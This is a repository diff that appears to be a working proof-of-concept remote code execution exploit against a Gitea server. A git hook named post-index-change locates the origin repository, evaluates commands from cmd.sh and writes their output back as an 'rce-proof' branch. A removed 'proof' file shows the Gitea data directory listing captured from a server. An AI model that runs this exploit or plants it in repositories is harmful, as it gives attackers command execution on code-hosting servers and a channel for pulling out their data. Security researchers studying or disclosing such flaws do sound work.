README.md

@@ -0,0 +1,2 @@
+# p0c673190
+

cmd.sh

@@ -0,0 +1 @@
+echo H_START; echo HOME=$HOME; ls -la /var/lib/gitea/ 2>/dev/null | head -20; echo H_END

hooks/post-index-change

@@ -0,0 +1,21 @@
+#!/bin/sh
+git_dir=$(git rev-parse --absolute-git-dir) || exit 1
+origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
+case "$origin_objects" in
+  /*) ;;
+  *) origin_objects="$git_dir/objects/$origin_objects" ;;
+esac
+origin_git=${origin_objects%/objects}
+[ "$origin_git" != "$origin_objects" ] || exit 3
+cmd=$(git show :cmd.sh 2>/dev/null || git show HEAD:cmd.sh 2>/dev/null)
+[ -n "$cmd" ] || exit 0
+out=$(eval "$cmd" 2>&1; echo "---EXIT:$?---")
+out_blob=$(printf '%s' "$out" | git --git-dir="$origin_git" hash-object -w --stdin)
+tree=$(printf '100644 blob %s\tproof\n' "$out_blob" | git --git-dir="$origin_git" mktree)
+commit=$(printf 'rce proof\n' | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x \
+  GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x \
+  git --git-dir="$origin_git" commit-tree "$tree")
+git --git-dir="$origin_git" update-ref refs/heads/rce-proof "$commit"
+exit 0
+
+# 692779

proof

@@ -1,20 +0,0 @@
-H_START
-HOME=/var/lib/gitea/home
-total 60
-drwxr-xr-x   15 git      git           4096 May 15 21:02 .
-drwxr-xr-x    1 root     root          4096 Dec 13  2024 ..
-drwxr-xr-x    2 git      git           4096 May 15 21:02 actions_artifacts
-drwxr-xr-x    2 git      git           4096 May 15 21:02 actions_log
-drwx------    4 git      git           4096 May 27 14:15 custom
-drwxr-xr-x    7 git      git           4096 Aug 29 23:19 data
-drwx------    4 git      git           4096 May 15 21:08 git
-drwxr-xr-x    3 git      git           4096 Aug  8 14:06 home
-drwx------    3 git      git           4096 May 15 21:02 indexers
-drwxr-xr-x    2 git      git           4096 May 15 21:02 jwt
-drwxr-xr-x    2 git      git           4096 May 15 21:02 packages
-drwxr-xr-x    3 git      git           4096 May 15 21:02 queues
-drwxr-xr-x    4 git      git           4096 Aug  7 18:11 repo-archive
-drwxr-xr-x    2 git      git           4096 May 15 21:02 ssh
-drwxr-xr-x    3 git      git           4096 May 15 21:02 tmp
-H_END
----EXIT:0---